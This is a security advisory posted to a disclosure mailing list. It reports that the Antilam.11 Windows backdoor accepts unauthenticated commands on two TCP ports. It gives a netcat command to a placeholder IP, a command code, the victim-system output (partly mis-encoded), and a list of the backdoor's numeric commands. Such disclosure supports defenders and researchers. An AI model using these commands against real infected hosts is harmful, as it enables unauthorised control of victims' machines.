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Date: Sun, 21 Nov 2021 18:33:21 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.Antilam.11 / Unauthenticated Remote Command

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Antilam.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 29559, 47891. Third party
attackers who can reach infected systems can execute commands made
available by the backdoor. Netcat utility worked the best for running
commands, which are supplied as numeric values or hex characters. The
values sent correspond to different commands mapped in the backdoor.
Commands are typically three digits e.g. 001 and perform various actions on
the infected host.
Type: PE32
MD5: 290477c9707f64a316888493ae67b1ef
Vuln ID: MVID-2021-0403
Dropped files: scandisk.exe
Disclosure: 11/21/2021

nc64.exe x.x.x.x 47891
001 Windows: C:\WINDOWS
 System: C:\WINDOWS\system32
 Temp: C:\Users\Victim\AppData\Local\Temp\
 Windows: Windows NT 6.2 9200
 Windows: 02
α: Victim
 Windows: English (United States)
╨ατ≡: 1547x787
NumLock: Off
CapsLock: Off
ScrollLock: Off
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,722,629,120
000Taskbar ±Ω≡√δ± ...005
000╚ΩεφΩΦ ±Ω≡√ⁿ...006
000Monitor ..008
000Ctrl+Alt+Del ...009
000ScrollLock ...010
000CapsLock ..011
000NumLock Γφ...012
000CD-ROM ταΩ≡√≥...013
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015
01508:56 PM|11/17/2021016
000Mouse was been unlocked...019
66022023Shell Experience Host3IQHO\Victim]+ (Administrator)

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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